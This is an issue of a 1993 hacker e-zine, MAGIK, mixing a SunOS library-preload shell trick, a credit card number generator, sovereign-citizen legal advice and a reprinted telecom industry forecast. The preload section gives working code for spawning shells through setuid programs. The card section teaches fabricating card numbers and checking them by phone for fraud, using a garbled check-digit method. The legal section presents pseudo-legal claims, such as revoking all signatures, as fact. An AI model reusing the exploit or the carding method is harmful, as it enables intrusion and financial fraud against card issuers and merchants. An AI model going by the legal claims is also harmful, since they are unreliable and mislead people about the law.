<*> MAGIK <*> Master Anarchists Giving Illicit Knowledge April 23, 1993 Issue 2, Volume 1 In This Issue ~~~~~~~~~~~~~ [1] MAGIK PGP Public Key [2] Introduction [3] Signing Crap [4] Sun OS Preloading [5] Credit Card # Formula [6] Telecommunications News [7] Code Thief [8] Audioconferencing Services [9] Telnet Gateway [10] Sprint Conference Line Info [11] A Business Conference-Call, Inc. [12] CSUnet [13] The Art of Phreaking I [14] Thrifty Tel Inc. [15] New PacificBell Services Staff Organization ~~~~~~~~~~~~~~~~~~ Editor in Chief - Chaos Writers - Chaos, Electric Vampyre, White Lightning Programming Team - Chaos, White Lightning, Merlamber Disclaimer ~~~~~~~~~~ MAGIK and it's writers assume no responsibility for the uses of the material presented. The information in this magazine is for informational purposes only, and is not necessarily intended for illegal uses. (--------------------------------------------------------) MAGIK PGP Key (--------------------------------------------------------) Now days that the Government is just getting too big, and just loves to intercept people's mail, MAGIK just like many others has gone to completely encrypted email. Any email send to magik should be sent with the following PGP public key. All other email will be completely ignored. -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.2 mQCNAiuuMjMAAAEEAOBHrS3FtN+p4MOSKLkObsUVVp4nwsAzOgWcvWaDnvU2oEJt fdF2wFJ6qYQwlm1e+RclHaA+Cb2ma+U8YEy3gb35pKviQMbTdVolAEIDvU1sC1nR 7GU9w2uR1FFL0MOOIHiSkztTNNwAjhC/BSkM4Xx/i+TmIGkSn/wseIE8s70FAAUR tCVNQUdJSyBNYWdhemluZSA8bWFnaWtAcG5ldDAxLmN0cy5jb20+ =Qa66 -----END PGP PUBLIC KEY BLOCK----- (--------------------------------------------------------) Introduction by Chaos (--------------------------------------------------------) As promised in our last issue, we are back and even better than ever. I took some heat for issue #1's text reader, so from the unfavorable feedback I have decided to drop the reader from the publication. The whole reader is being completely rewritten and may eventually be added back in, but not at this time. If you feel a reader should be added back in let me know. I have had many people ask me the question "Why do you have a reader for MessyDos?" Well it is simple. Authenticity. I have found in my days of modeming there are little kids out there who get their kicks out of popping the magazine in an editor and changing stuff around, which in turn makes us look bad. Now that this has been removed be sure to get a copy from a reliable source. This can always be obtained from EFF by FTP at 'ftp.eff.org' in /pub/cud/magik. Disappointingly we are not receiving much feedback from our readers in the way of submissions to the magazine. Com' on guys, I mean we can keep feeding you all of this cool shit, but you have got to at least give us a little back. We are still looking for qualified writers. We also need someone who can write articles in the way of global hackers in the news. If interested mail into the magik mailbox. (--------------------------------------------------------) Pre-Loading (--------------------------------------------------------) SunOS buggy? No way! They got rid of all the bugs, didn't they? Okay, when SunOS executes a program, it does dynamic library linking. It checks the libraries in this order: The program's symbols The preloaded symbols The user dynamic library symbols The system default dynamic library symbols Here's an example of how to take advantage of this: Create sync.c: sync() { execl("/bin/sh", "sh", 0); } cc -c -O -R -pic sync.c <--Compile it ld -o buglib.so.1.1 -assert pure-text sync.o <--Make a library setenv LD_PRELOAD ./buglib.so.1.1 <--Set the preload list su sync When you do this, it does an su to sync, then sees your fake sync() call, which calls up a shell. Course you're still running as the sync user. The sync account is just uid=1, gid=1. But there's all those setuid programs floating around out there. Use your imagination... (--------------------------------------------------------) Signing Crap (--------------------------------------------------------) If ye love wealth greater than liberty, the tranquility of servitude greater than the animating contest for freedom, go home from us in peace. We seek not your counsel, nor your arms. Crouch down and lick the hand that feeds you; and may posterity forget that ye were our countrymen. - Sam Adams Contrary to what most people think, the "founding fathers" didn't have computers, but they definitely knew what hacking was all about. This little quote from a "founding father" remind you of something you told a cop or your parents once or twice? Only difference is they would say "go home" and we'd say "go to hell" or "drop dead". Okay, before we get to the crap, I got something good to show yas. See, I figure people think law is boring. I guess they just haven't been reading the right kind of law. You just gotta look in the right places. This thing is verbatim right from the sentencing. The U.S. Judge was sitting in an adobe stable they was using as a temporary court room. This was Federal District Court in the New Mexico Territory. The guy was convicted of murder. Jose Manuel Miguel Xavier Gonzales, in a few short weeks it will be spring. The snows of winter will flee away, the ice will vanish, and the air will become soft and balmy. In short, Jose Manuel Miguel Xavier Gonzales, the annual miracle of the years will awaken and come to pass, but you won't be there. The rivulet will run its soaring course to the sea, the timid desert flowers will put forth their tender shoots, the glorious valleys of this imperial domain will blossom as the rose. Still, you won't be here to see. From every tree top some wild woods songster will carol his mating song, butterflies will sport in the sunshine, the busy bee will hum happy as it pursues its accustomed vocation, the gentle breeze will tease the tassels of the wild grasses, and all nature, Jose Manuel Miguel Xavier Gonzales, will be glad, but you. You won't be here to enjoy it because I command the Sheriff or some other officer of the country to lead you out to some remote spot, swing you by the neck from a knotting bough of some sturdy oak, and let you hang until you are dead. And then, Jose Manuel Miguel Xavier Gonzales, I further command that such officer or officers retire quickly from your dangling corpse, that vultures may descend from the heavens upon your filthy body until nothing shall remain but bare, bleached bones of a cold-blooded, copper-colored, blood-thirsty, throat- cutting, chili-eating, sheep-herding, murdering son-of-a-bitch. United States of America v. Gonzales (1881), United States District Court, New Mexico Territory Sessions. Ever been "forced" to sign something? Well, the U.C.C. lets you get around that problem. See, they figured there would be times where you would sign something you didn't want to. They went and made the rules so that a smart guy could get out of that. I like loaded dice. So, there's a loophole for when you don't have free will to sign shit. When you sign something "without prejudice" or "under protest", you can get out of the signature and you can even sue to get even (sue to recover rights). Every state has adopted this section at least, including Louisiana as of 1/1/75. See Louisiana Revised States 10:1-207. The following states clearly follow 1-207 (all citations are to the state's highest court (usually the supreme court) unless otherwise indicated): Ohio (544 N.E.2d 869 (1989)); and Rhode Island (3 UCC Rept Serv. 2d 466 (R.I. Dist Ct, 1987). The following states distinguish 1-207, and continue to prohibit a creditor from altering an endorsement restriction and thereby reserving rights to collect the balance: Alabama (378 So. 2d 1122 (1979)); Alaska (673 P.2d 724 (1983)); Arkansas (644 S.W.2d 292 (1982)); California (737 P.2d 417 (1987)); Connecticut (520 A.2d 1028 (1987)); Florida (407 So. 2d 312 (Fla. App. 1981)); Georgia (858 F.2d 1507 (Cir 11, 1988); 265 S.E.2d 325 (1980)); Illinois (722 F.Supp. 339 (E.D.Va 1989) (This cite looks bad to me; An Illinois issue decided in the Eastern District of Virginia? It's possible, but unlikely; I assume I transcribed the cite incorrectly); Kansas (762 P.2d 196 (1988)); Louisiana (423 So. 2d 752 (La. App. 1982); 799 F.2d 1984 (Cir. 5, 1986); Maine (484 A.2d 1008 (1984)); Maryland (459 A.2d 1120 (1983)); Michigan(418 N.W.2d 386 (1987)); Nebraska (382 N.W.2d 313 (1986)); New Jersey (418 A.2d 1326 (Dist Ct., 1980); North Carolina (264 S.E.2d 385 (1980)); Oregon (664 P.2d 419 (1983); Utah (706 P.2d 607 (1985)); West Virginia (1 UCC Repr. Serv. 2d 1425); Washington (610 P.2d 390 (1980)); Wisconsin (291 N.W.2d 636 (Ct. App., 1980); Wisconsin (341 N.W.2d 655 (1984); and Wyoming (593 P.2d 828 (1979)). What this means is that the U.C.C. does not supercede the common law accord and satisfaction. A debtor can add "payment in full" on an endorsement, but a creditor CAN'T alter it. The following states have authority on either side of the question, and appear unsettled: Missouri (not applying 1-207: 550 F.Supp. 992 (W.D. Mo, 1982); applying 1-207: 694 S.W.2d 762 (Mo. App. 1985)); New York(not applying: 560 N.Y.S. 2d 617 (1990); applying: 488 N.E.2d 56 (1985); 553 N.Y.S.2d 349 (1990)); Pennsylvania (applying: 476 F.Supp. 1155 (E.D. Pa., 1979); not applying: 36 UCC Rept Serv. 369 (Pa. Ct. Common Pleas, 1983); and Texas (not applying: 735 S.W.2d 501 (Tex. Appl. 1987); applying: 804 S.W.2d 238 (1991)). This is all in U.C.C. Book 1, Section 207: Performance or Acceptance Under Reservation of Rights. A party who with explicit reservation of rights performs or promises performance or assents to performance in a manner demanded or offered by the other party does not thereby prejudice the rights reserved. Such words as 'without prejudice,' 'under protest' or the like are sufficient. What a bunch of crap to hide what it means, eh? The whole U.C.C. is written like that. If you don't believe it's in there, go get a college business law book. Most of them have a copy of the U.C.C. stuffed in the back some place and they might even talk about this section some place else in the book (ha! not). To fulfill the requirements, just write the words "signed without prejudice," above or beside your signature. If you start doing this, use "without prejudice" instead of "under protest" because a circuit judge that Thomas Covenant (of Thieves' World) messed with didn't even know what it meant. If a judge asks you what you mean when you said "without prejudice," you could tell him something like this: "It indicates I have exercised the remedy provided for me in the Uniform Commercial Code by which I might reserve the common law right not to be compelled to perform under any contract that I have not entered knowingly, voluntarily, and intentionally." An Example: Driver's Licenses You probably contracted away some of your constitutional rights without even realizing it. Here's some examples: You contract away your right to free speech when you enter a movie theatre. You cannot talk or whistle or sing or the management will kick you out (and no refund). You contract away your freedom of assembly when you sign an apartment lease. You cannot have a political rally with 100 people every night in your apartment. Same goes for freedom of speech. You contract with your employer to go by his rules. (No gambling, no alcohol on company premises). If you break a rule, you get fired. You do not get a trial. It is breach of contract not a crime. You contract away your right to a jury trial when you sign a brokerage agreement with Merrill Lynch, etc. You agree to use binding arbitration instead of the court system. You agree some place in your driver's license application to obey all the rules. The state legislature writes these statutes (they are NOT laws). And then can change them any time they feel like it. They are the terms of the contract. Part of the terms of the contract include waiving some of your constitutional rights. If a police officer stops you, he writes you a 'ticket'. There is probably some part of the contract that says you can have a "trial" (it's an administrative hearing) if you break a rule. To make it look real, most states will even allow you to have a "jury", but they usually try to skimp on the 12 jurors required for a real trial. Civil rules are NOT crimes. It's always called an 'offense' or an 'infraction' to disguise this fact. It is a breach of contract. Under the constitution, you get a jury trial for all crimes (6th amendment) and a jury trial for all civil law suits for an amount over $20 (7th amendment). A traffic hearing is not a criminal court, so forget the 6th amendment. It's not a common law suit, so forget the 7th amendment. It's a breach of contract suit. Now the UCC comes in. Almost all of it covers rules for contracts and breaches of contracts. The UCC says that you do not have to honor a contract unless you entered "knowingly, intentionally, and willfully." It assumes that you did all these things if you received benefits from the contract unless you specifically reserve your rights. In this case, one of the benefits is lower insurance rates since you are a licensed driver. If you reserved your rights by signing without prejudice, the state can still sue you, but it has to be a common law suit. Look at Article III, Section 2, paragraph 2 of the Constitution of the United States. It would be unfair for a state court to try a case in which the state is one of the parties, so the Supreme Court has jurisdiction over this case. Did you know you were giving up your constitutional rights when you entered into that contract? It is fraudulent to enter into a contract without entering "knowingly, intentionally, and willfully". You can rescind that contract. That is part of what the form letter below is about, but that particular form letter is much more complicated for other reasons. The Form Letter Okay, this is a sneaky document that a guy sent me that is essentially a template Go Away form written by an 18 year old kid that just decided he had enough shit and started reading the law, just like everybody told him to do. Now, a lot of this shit is going to sound REALLY screwed up. Do NOT use anything in law that you don't understand or you will get in trouble. I will eventually explain everything in it. You might want to at least consider what it says in 3-511 and then write a letter to anybody you're signing "without prejudice" with and tell them to throw away the form you signed. Let it be known, I reserve all of my rights under the common law provisions and proceed to base my claim of fraud upon all who deny me these rights. I shall continue to state, I am not a resident of the District of Columbia or a foreign corporation, officer, director, stockholder, or employee of a foreign corporation, or a citizen of the United States, or a citizen of the U.S., or a citizen of any corporate, conglomerate state government, and I am not a resident of any federal possession, enclave, or fort etc., and if I of necessity receive any governmental benefits and privileges, it is without prejudice, reserving all rights as per the Uniform Commercial Code 1-207. I am therefore not subject to the color of law jurisdictions of the United States in the corporate monopoly of the federal and state governments. I am a natural and corporeal person and cannot live in a corporate fiction called the United States nor the corporate fiction called the State of California. I thereby claim my rights under the Constitution which is the Supreme Law of the Land. The Bill of Rights enumerates some of our God-given rights as sovereign citizens. I deny all jurisdictional claims you present over me. I further respectfully dishonor all claims against me this day, and all other days that I have been forced to enter into this jurisdiction by estoppel, fraud, misrepresentation, duress, coercion, mistake, etc. This is done upon the following provisions of Code: Under U.C.C. 1-207 Performance or acceptance under reservation of rights. A party who with explicit reservation of rights performs or promises performance or assents to performance in a manner demanded or offered by the other party does not thereby prejudice the rights reserved. Such words as "without prejudice", "under protest" or the like are sufficient. Under U.C.C. 3-511 (1) and (c). Waived or excused presentment, protest or notice of dishonor or delay therein. (1) Delay in presentment, protest, or notice of dishonor is excused when the party is without notice that it is due or when the delay is caused by circumstances beyond his control and he exercises reasonable diligence after the cause of the delay ceases to operate. Presentment or notice or protest as the case may be is entirely excused when (c) by reasonable diligence the presentment or protest cannot be made or the notice given. I dishonor your presentment or claim upon me. Under U.C.C. 3-305 (2) (b) and (c) Rights of a holder in due course. (2) All defenses of any party to the instrument with whom the holder has not dealt except (b) Such other incapacity, or duress, or illegality of the transaction, render the obligation of the party a nullity, and (c) such misrepresentation as has induced the party to sign the instrument with neither knowledge nor reasonable opportunity to obtain knowledge of its character or its essential terms. Under U.C.C. 3-601 (3) (a). The liability of all parties is discharged when any party who has himself no right of action or recourse on the instrument (a) reacquires the instrument in his own right. Under U.C.C. 1-103. Supplementary general provisions of law applicable. Unless displaced by the particular provisions of this act, the principles of law and equity, including the law merchant and the law relative to capacity to contract, principal and agent, estoppel, fraud, misrepresentation, duress, coercion, mistake, bankruptcy, or other validating or invalidating cause shall supplement its provisions. Under U.C.C. 2-609. Right to adequate assurance of performance. (4) After receipt of a justified demand failure to provide within a reasonable time not exceeding thirty days such assurance of due performance as is adequate under the circumstances of the particular case is a repudiation of the contract. Under U.C.C. 2-608. Revocation of acceptance in whole or in part. (1) The buyer may revoke his acceptance of a lot or commercial unit whose nonconformity substantially impairs its value to him if he has accepted it. (b) without discovery of such nonconformity if his acceptance was reasonably induced either by the difficulty of discovery before acceptance or by the seller's assurances. (2) Revocation of acceptance must occur within a reasonable time after the buyer discovers or should have discovered the ground for it and before any substantial change in condition of the goods which is not caused by their own defects. It is not effective until the buyer notifies the seller of it. (3) A buyer who so revokes has the same rights and duties with regard to the goods involved as if he had rejected them. I hereby revoke all signatures on every and all state and federal documents which has my signature on it, and including those in the future if forced to do so. I further disclaim any oaths or implied oaths of or contracts. Dated _____ Submitted by _______________ Signed without prejudice U.C.C. 1-207 Turing the Tables Fair's fair, right? While you're busy filling out their forms, why not make them fill out YOUR form? This is a federal form only, unfortunately. Here it is, the Public Servant's Questionnaire, with questions required to be answered BY LAW! Just edit it so that it doesn't look so crappy and go for it. ----cut here---- Public Law 93-579 states in part: "The purpose of this Act is to provide certain safeguards for an individual against invasion of personal privacy by requiring Federal agencies...to permit and individual to determine what records pertaining to him are collected, maintained, used, or disseminated by such agencies." The following questions are based upon that act and are necessary in order that this individual may make a reasonable determination concerning divulgence of information to this agency. 1. Name of public servant............... 2. Residence......City.....State......Zip...... 3. Name of department, bureau, or agency by which public servant is employed........supervisor's name...... 4. It's mailing address...........City......State....Zip...... 5. Will public servant uphold the constitution of the United States? 6. Did public servant furnish proof of identity? 7. What was the nature of proof?.............. 8. Will public servant furnish a copy of the law or regulation which authorizes this investigation? 9. Will the public servant read aloud that portion of the law authorizing the questions he will ask? 10. Are the answers to the questions voluntary or mandatory? 11. Are the questions to be asked based upon a specific law or regulation, or are they being used as a discovery process? 12. What other uses may be made of this information? 13. What other agencies may have access to this information? 14. What will be the effect upon me if I should choose not to answer any part or all of these questions? 15. Name of person in government requesting that this investigation be made............... 16. Is this investigation 'general' or is it 'special'? 17. Have you consulted, questioned, interviewed, or received information from any third party relative to this investigation? 18. If so, the identity of such third parties.......... 19. Do you reasonably anticipate either a civil or criminal action to be initiated or pursued based upon any of the information which you seek? 20. Is there a file of records, information, or correspondence relating to me being maintained by this agency? If yes, which? 21. Is this agency using any information pertaining to me which was supplied by another agency or government source? 22. May I have a copy of that information? 23. Will the public servant guarantee that the information in these files will not be used by any other department other than the one by whom he is employed? If not, why not? If any request for information relating to me is received from any person or agency, you must advise me in writing before releasing such information. Failure to do so may subject you to possible civil or criminal action as provided by the act. I swear (affirm) that the answers I have given to the foregoing questions are complete and correct in every particular. ___________ Date: ____/_____ Witness:____________ Witness:_______________ ----cut here---- Okay, when they decide to get cocky, here's your legal power for asking these questions: 1,2,3,4 In order to be sure you know exactly who you are giving the information to. Residence and business addresses are needed in case you need to serve process in a civil or criminal action upon this individual. 5 All public servants have taken a sworn oath to uphold and defend the constitution. 6,7 This is standard procedure by government agents and officers. See Internal Revenue Manual, MT-9900-26, Section 242.133. 8,9,10 Title 5 USC 552a, paragraph (e) (3) (A) 11 Title 5 USC 552a, paragraph (d) (5), (e) (1) 12,13 Title 5 USC 552a, paragraph (e) (3) (B), (e) (3) (C) 14 Title 5 USC 552a, paragraph (e) (3) (D) 15 Public Law 93-579 (b) (1) 16 Title 5 USC 552a, paragraph (e) (3) (A) 17,18 Title 5 USC 552a, paragraph (e) (2) 19 Title 5 USC 552a, paragraph (d) (5) 20,21 Public Law 93-579 (b) (1) 22 Title 5 USC 552a, paragraph (d) (1) 23 Title 5 USC 552a, paragraph (e) (10) losing Thought Sometimes the law defends plunder and participates in it. Sometimes the law places the whole apparatus of judges, police, prisons and gendarmes at the service of the plunderers, and treats the victim - when he defends himself - as a criminal. - Frederic Bastiat `The Law' This guy rips liberals to shreds. Want to read it? This thing is probably about as nasty as sending someone a copy of Rush Limbaugh's book, except Bastiat is more serious and he wasn't Republican OR Libertarian. Getting it by ftp: ftp think.com cd /pub/libernet/misc (Yeah, I know it's that silly libertarian stuff..the book is good and very old even if the libs like it, too) get frederic-bastiat-the-law [text] get the.law.dvi [dvi file] get the.law.latex [latex] Getting it by mail: Single copies are 2 Federal Reserve Notes. A case of 100 is 75. Address: The Foundation For Economic Education, Inc. Irvington-On-Hudson, New York, 10533. (--------------------------------------------------------) Credit Card Formula (--------------------------------------------------------) Now days it seems credit card numbers and CBI/TRW accounts are hard to come by. With this, there seems one simple solution, why can't you create your OWN virgin credit card numbers? The whole process is very simple and can be used to create all of the credit card numbers you would every want. Mastercard - 5xxx xxxx xxxx xxxc Visa - 4xxx xxx xxx xxc Visa Gold - 4xxx xxxx xxxx xxxc American Express - 3xxxxxxxxxc If you have an IQ above 0 then you would know that the X's can be filled in with a random number from 0-9. But what are the C's filled in with? The C is the check digit for the whole card. In order to compute this check digit you must use a mathematical formula. First lets assume the Mastercard we made up was '5123 1234 1234 123c'. The first thing we need to do is assign each number a place value, so we would start from the right and work out way to the left, for example : 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 c | | | | | | | | | | | | | | | 5 1 2 3 1 2 3 4 1 2 3 4 1 2 3 c Now starting from the right (#1) and moving to the left (#15) we would take every -ODD- number and multiply it by 2. The answer would come out to be 38 from out example. We would now round the number to the nearest number divisible by 10 which in this case would be 40. We would subtract 38 from 40 (40 - 38 = 2). Are check digit in this example would be 2. Now that you can create the card #, you need a method of checking this credit card. This can be done very simply with this process : (1) Dial 1-800-554-2265 (2) Dial 1067#24# (3) 10# for Mastercard or 20# for VISA (4) Credit Card Number then # (5) Expiration date in the form (MM/YY) then # (6) Ammount in XX*XX (IE 10*16 would be $10.16) then # You now have a virgin credit card number, have phun =) (--------------------------------------------------------) Telecommunications News (--------------------------------------------------------) Telecom Winners And Losers In 1993 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ By Dr. Jerry Lucas It's 1993, time for TeleStrategies' annual analysis of winners and losers in the coming year. First, we'll review how we called them last year (TeleStrategies Insight, January 1992) because it's fun to toot your own horn when you're right. Then we'll cover what happened in 1992 that influenced our assessment for 1993. Finally, we'll tell you what to expect this year if you like to pick winners rather than losers. TELESTRATEGIES' TOP TEN WINNERS AND LOSERS 1. ATM/SONET 2. Collocation 3. PCS 4. Cellular Technologies 5. 800 Number Portability 6. Video Dial Tone 7. IntraLATA Toll 8. Screen Phones 9. AIN 10. ISDN 1. ATM/SONET First, a quick technology refresher: Synchronous Optical Network (SONET) is the standardization of optical fiber transport; Asynchronous Transfer Mode (ATM) is the multiplexing and/or switching access to SONET transport. Last year at this time, the only ATM/SONET game was the RBOCs' Switched Multimegabit Data Service (SMDS). We deemed it a loser and that opinion remains unchanged. Why? SMDS doesn't create value for end users. As planned, SMDS would deliver LAN connectivity to users via a public packet network with 1.5 to 45 Mbps access. First, there is no demand today for public (i.e., inter-company) LAN connectivity except in the research and education market. If you are a player in R&E, you get it for "free" via Internet. (See TeleStrategies Insight, November 1992). Second, if you want switched, intra-company LAN-to-LAN connectivity with 1.5 Mbps access, and you have to pay for it, you can get it today with frame relay technology. Third, the only way to justify 45 Mbps access today is interconnection to an interexchange carrier where voice, data and video can be integrated to the IXC serving center. In summary, if your view of how ATM/SONET will roll out in 1993 is megabit per second, data only, access to a public ATM switch (SMDS), you lose. So what happened in 1992 to make ATM/SONET timely and a winner for 1993? The ATM Forum. In 1992 the computer/LAN people joined with the router, T1 mux, DCS and CO vendors to push for CPE ATM standards compatible with carrier SONET. The end result: it is now possible for ATM CPE to interface with an ATM/SONET-based IXC. Look for the large end user to see the first wave of ATM CPE products and compatible private line carrier offerings by year end. 2. COLLOCATION Last year we picked 1992 as the year the FCC would follow the New York PSC's lead regarding CO collocation for the Alternative Local Transport Service (ALTS) providers. The FCC did just that last summer with the result that collocation for special private line access is here. So, if you were an ALTS and took the risk to start up or fortify your market position, as you already know, you were a winner in 1992. What else happened in 1992 to affect collocation opportunities in 1993? Plenty. First, collocation has now been established as an acceptable practice at the state PUC level. RBOC COs haven't been destroyed by "incompetent" ALTS technicians when on site at the CO, etc. Second, Senator Al Gore was elected Vice President. It is likely that he will use his position to become the U.S. "technology czar," putting special emphasis on his "baby," the National Research and Education Network (NREN), the gigabit replacement for Internet (see TeleStrategies Insight, June 1992). Third, the RBOCs acknowledge they lost the special access monopoly with collocation (a $3 billion market). It's just a matter of time until switched access (a $20 billion market) is opened to competition, further eroding the RBOCs position. In light of this a few RBOCs (or independents) have realized that "if you can't beat them, join them." What should you expect in 1993 regarding collocation opportunities? First, a lot of hype about the telecom infrastructure creating jobs (the Gore/NREN effect) followed by creative RBOC/state PUC initiatives to attract new business. The bottom line for 1993: very special collocation agreements between corporate networking customers and RBOCs with the blessing of state PUCs. If the RBOCs are going to get bypassed anyway, why shouldn't they get in on it themselves. The RBOCs could win big politically with Washington, their state governments and others by teaming with end users! Collocation offers endless possibilities. Watch the creative ones in 1993. 3. PCS Last year we said that there wouldn't be any new spectrum reallocations for Personal Communications Services (PCS) and that the FCC's Pioneer Preference system was the best way to go if you wanted to start up now. We were right on both counts. If you are exploring PCS opportunities in 1993, here's what happened in 1992 that you should know about. (1) You can no longer file for a Pioneer's Preference; (2) The FCC issued a Notice of Proposed Rule Making for PCS frequency reallocation and was deluged with comments. MCI's proposal drew significant attention. It calls for the creation of three national consortia in which no one company would have a controlling interest and no one would be allowed to hold both cellular and PCS licenses in the same geographic area. (3) Last month Pacific Bell blew it for RBOC PCS set-asides last when they announced their "Divestiture II," which will split their cellular operations and regulated local exchange operations into two separate companies. Readers of TeleStrategies Insight (August 1991) shouldn't have been surprised because we predicted a year and a half ago that an RBOC would do exactly what Pacific Bell now says it will do. If you aren't a cellular carrier or a PCS pioneer but want to get into PCS in 1993, start by reading MCI's PCS consortia proposal to the FCC. It's well thought out and has had a lot of input from industry players. Start networking with these consortia because 1993 will be open for filings. There will be no set-aside frequencies nor will there be lotteries as with cellular. 4. CELLULAR TECHNOLOGY Last year at this time, the hot topic in cellular was TDMA vs. CDMA. We called TDMA the definite winner for this year and we were right. McCaw, Rogers Cantel and Southwestern Bell are implementing TDMA. Others (Pacific Bell, NYNEX, U S WEST) who are publicly leaning toward CDMA may have to go with TDMA just to meet the digital marketing hype that's starting to float around. Regarding 1993, what new technology developments have arisen to create future opportunities? Packet data via cellular. The significance of packet data via cellular is that the air time costs drop (you pay by the data burst) and less power is drawn from the batteries (giving you longer periods between recharges). The packet cellular systems tested in 1992 were made by Cellular Data, Inc., and IBM (Cellplan II). Cellular carriers are getting ready to roll out one or the other. In 1993, opportunities abound for applications and distribution for low-cost, portable data communications. 5. 800 NUMBER PORTABILITY Number portability allows current 800 customers to move their 800 business to another IXC without changing their phone numbers; they can divide their business based on call origination location, time of day or by a random percentage allocation. No winners or losers were predicted last year because 800 number portability wasn't scheduled to happen until 1993. Starting in May, 1993 or shortly thereafter, 800 number portability will create new opportunities for: IXCs who are lusting after AT&T's 800 customers. Even the smallest IXCs will be able to participate because they can carry national 800 account originating traffic in their service area only. THE MEDIA will bombard the U. S. with 800 advertisements. TV and print media are in for a revenue windfall. Big bucks will be spent by AT&T, MCI, Sprint and others on 800 service advertisements. CONSUMERS will benefit because 800 number portability brings SS7 connectivity with it. This means almost all telephone calls will be distance-insensitive regarding call set-up time. POTENTIAL TOLL FRAUD VICTIMS will have less exposure. Almost all toll fraud (that end users are liable for) originates with an 800 call to a company's voice mail box or direct inward system access (DISA) line. 800 number portability gives users the ability to "red line." Here's an example: the Bronx area of New York City is a hot bed of toll fraud activity. Users will be able to block calls down to that NPA-NXX. LECs performing centralized data base dips will not only be compensated for IXC selection and more, but the SS7 infrastructure will be in place to create other intelligent network services. But what about AT&T? On the surface, 800 number portability looks like a loser for them; they're going to lose 800 customers or at least part of their customers' traffic. But there are some things AT&T can do to mitigate the damage: 1. Fight for Deregulation -- Once 800 number portability goes into effect, AT&T can make the case to the FCC that they no longer have the advantage created in the pre-divestiture days when they were the only 800 game in town. This appears to be the last issue Judge Greene has to resolve with AT&T. It is probable that AT&T's competitors will bring up their international market or their calling card position, but these arguments pale with respect to those of 800 number portability. The question now is why should AT&T be regulated any differently than MCI or Sprint? 2. AT&T Patents -- Three years ago in TeleStrategies Insight (September/October 1989) we wrote an analysis of AT&T's patents and potential strategies they could implement to generate billions in revenues. In that article I predicted that within a year AT&T would go after its competition, probably targeting MCI for violating its 800, 0+, VPN and other intelligent network call processing method patents. Well, I was right and wrong. It took three years rather than one (We had to wait for 800 number portability to be set in motion.). But AT&T notified the FCC (on Thanksgiving eve) that MCI may be violating its intelligent network patents with its Canadian long distance deal. (Patent attorneys say the way you notify the world you're ready to go to court is by using the word "may.") Briefly, here's what's going on with AT&T patents. AT&T has patents issued from 1979 to 1982 that appear to cover all intelligent networking including the use of a database to process 800 calls (the Weber patent). Under the terms and conditions of the divestiture agreement (the MFJ), the RBOCs can use any AT&T patents issued through January 1, 1989, but no one else can without a licensing agreement. AT&T has notified the FCC that it will not claim infringement if a carrier (IXC) purchases or interacts with the 800 portability database. But, AT&T also states that there may be a Weber patent violation if a carrier operates such a database in its own network. The bottom line (another prediction): AT&T can and may choose to make its competitors lives a patent litigation nightmare on everything from enhanced 800 to personal communications services if they want to, and I think they want to. At a minimum, any revenues AT&T loses in the 800 marketplace from number portability will be made up by patent license royalty fees. Stay tuned in 1993. 6. VIDEO DIAL TONE In October, 1991, the FCC issued a Notice of Proposed Rule Making on video dial tone which they approved in July 1992. Here's some background: the FCC informed the RBOCs they could provide video to the home as common carriers, but they couldn't own more than 5 percent of an information product or be a program packager (i.e., editor). TeleStrategies' view of this opportunity is that the RBOCs should forget going solo; instead, they should partner rather than compete with the cable industry. Our 1993 assessment: video dial tone is a loser for the RBOCs. Who can win? Small entrepreneurs. Here's how: the RBOCs seem to want the perception in the industry that they are video players. Under today's rules, they need video packagers as partners. The big cable operators won't play, so you, as a private or wireless cable TV operator or even a second cable operator in a market, can fill the gaps. Structure a deal in which the RBOCs provide the fiber infrastructure, and tariff or price it to you under the video dial tone umbrella (You pay for service incrementally rather than pay the fully allocated cost of infrastructure.). Of course, you have to give them a buy-out option when they get permission to get into real cable TV service. RBOCs need video players and small entrepreneurs can play that role in 1993. 7. INTRALATA TOLL Last year we said that nothing would happen in intraLATA toll competition regarding 1+ presubscription. Well, we were right. Only one state (North Dakota) has moved ahead with it. This year won't be much different. Although nearly 40 states permit 10XXX intraLATA competition, the IXCs haven't touched it. Only MCI has mildly pushed for 1+. Why? The IXCs are not really ready to explain in a marketing campaign to the general public what a LATA is, the state PUCs aren't comfortable with the revenue loss the RBOCs would suffer and the RBOCs (conveniently) aren't ready with their switches to handle 1+, intraLATA presubscription. (They want to wait and have this done via AIN -- see number 9 below.) But who can win an intraLATA role? Resellers. The cost of a 100- mile intraLATA toll call can typically cost two to three times that of a coast-to-coast call or 25 cents to 50 cents more per minute. These margins aren't "plump," they're obese. The good news is that a lot of states permit intraLATA resale. Regardless, if you are a small carrier, most states don't police intraLATA where customers have direct access to your switch. 8. SCREEN PHONES Last year we predicted that screen phones coupled with CLASS (Custom Local Area Signalling Services) would be a marketplace winner in 1992. We still believe they will be a winner, but screen phones only made it to the market field-trial stage last year. The problem is finalization of standards and Bellcore expects this to be completed this month. In case you haven't been tracking this opportunity, a screen phone is about 1.5 times the size of a regular phone; it has a display that ranges from three to four lines of text to 4"x4". It has an additional four control buttons and some have more soft key options. When coupled with CLASS, you have a very powerful networking capability that requires only the same skill level needed to operate your bank's ATM. Who's going to win in 1993? LECs with CLASS service and equipment vendors with simple screen terminals (like Northern Telecom's Display Phone with a projected roll out price of less than $200). Who's going to lose? LECs without CLASS services and terminal vendors who make their products too hard to use -- if an eight year old can't use it, forget it. 9. AIN Excitement remains for the Advanced Intelligent Network (AIN) concept, particularly within the computer industry. Briefly, AIN permits new service development to occur outside the CO's computer, thus speeding up service delivery (months vs. years). It permits the use of high-power, low-cost workstations and many custom databases holding end-user information. AIN remains a great concept but the RBOCs aren't ready to pull it off. It's going to take a massive investment, a vision of what business they want to be in and joint venturing with current competitors (cable TV, ALTS, cellular companies, etc.) Who else is positioned for success in AIN? MCI, Sprint and AT&T. All have focused in on the future of telephony -- that means PCS and personal phone numbers -- and all possess some unique resources to pull it off. MCI and AIN: MCI has focused on an infrastructure and has, relatively speaking, outstanding operational support systems (OSS), including billing. How do you think they pulled off the "Friends and Family" program?! They have also emerged as an innovator structuring an industry consensus for PCS licensing. (Three national licenses held by consortia, no one player dominates, no local spectrum license if you operate a cellular system and demerits in the application process for major, regulated LEC involvement in the consortium.) Also, they are pushing early for end-user number portability. This is a viable PCS/AIN approach. Sprint and AIN: Sprint has it all in some areas regarding full services -- long distance, cellular (the Centel merger) and local (United) service. If they selectively go after AIN in markets where they have all three forces, it's going to be a good PCS/AIN approach. 